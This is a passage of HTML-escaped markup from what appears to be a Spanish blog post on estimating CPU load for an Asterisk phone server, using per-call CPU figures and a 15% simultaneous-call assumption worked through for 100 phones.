line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{79}&quot; paraid=&quot;283979083&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text; white-space: pre-wrap;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Mediante este comando veremos &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;solamente el proceso Asterisk, el cual cuando se encuentra en IDDLE no consume CPU (un consumo residual de apenas un 0,3%), en cambio cuando tenemos una llamada activa, es decir una llamada con una comunicación de audio activa, el consumo de cada llamada consume alrededor de un x% de un &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;core&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;, lo cual es importante tenerlo en cuenta también a la hora de dimensionar. Por ejemplo, hablando siempre de forma &quot;genérica&quot;, en la mayoría de pruebas que he realizado el consumo por llamada se reduce a alrededor de un 1% de un core. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{79}&quot; paraid=&quot;283979083&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text; white-space: pre-wrap;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{95}&quot; paraid=&quot;1601488020&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Para los cálculos estimaremos que alrededor &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;habrá&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; simultáneas alrededor de un 15% de llamadas con audio activas simultáneas (hay que tener en cuenta que a veces pueden haber llamadas que se “alargan”, de ahí que se ponga un 15 y no un 10. Con lo que nos baremos en esta fórmula para hacer los cálculos:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{95}&quot; paraid=&quot;1601488020&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{105}&quot; paraid=&quot;1953845461&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;(1 * número total de teléfonos&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;* 0.&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;5 ) / 100&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{123}&quot; paraid=&quot;1648913413&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun Underlined SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 23.7417px; margin: 0px; padding: 0px; text-decoration-line: underline; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 23.7417px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{127}&quot; paraid=&quot;849265492&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Est&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;o aplicado a una instalación con 100 teléfonos &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;sería:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{127}&quot; paraid=&quot;849265492&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{139}&quot; paraid=&quot;696909009&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: center; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;span&gt;(1&lt;/span&gt; * &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; * 0.&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;5 ) / 100&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; = 0,15&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:2,&amp;quot;335551620&amp;quot;:2,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Es decir, hablaríamos de un consumo de un 15% de CPU en una instalación con 100 puntos, siempre y cuando se cumpla ese 15% de teléfonos &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;llamando simultáneamente.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Sumando todos estos conceptos por separado podremos saber, de forma aproximada si nuestra máquina puede soportar un determinado número; obviamente hay mil factores, pero esto nos sirve como una buena base que sirva como punto de partida.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;Espero que os haya resultado útil.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{159}&quot; paraid=&quot;1163698586&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-family: inherit; line-height: 19.425px; margin: 0px; padding: 0px; user-select: 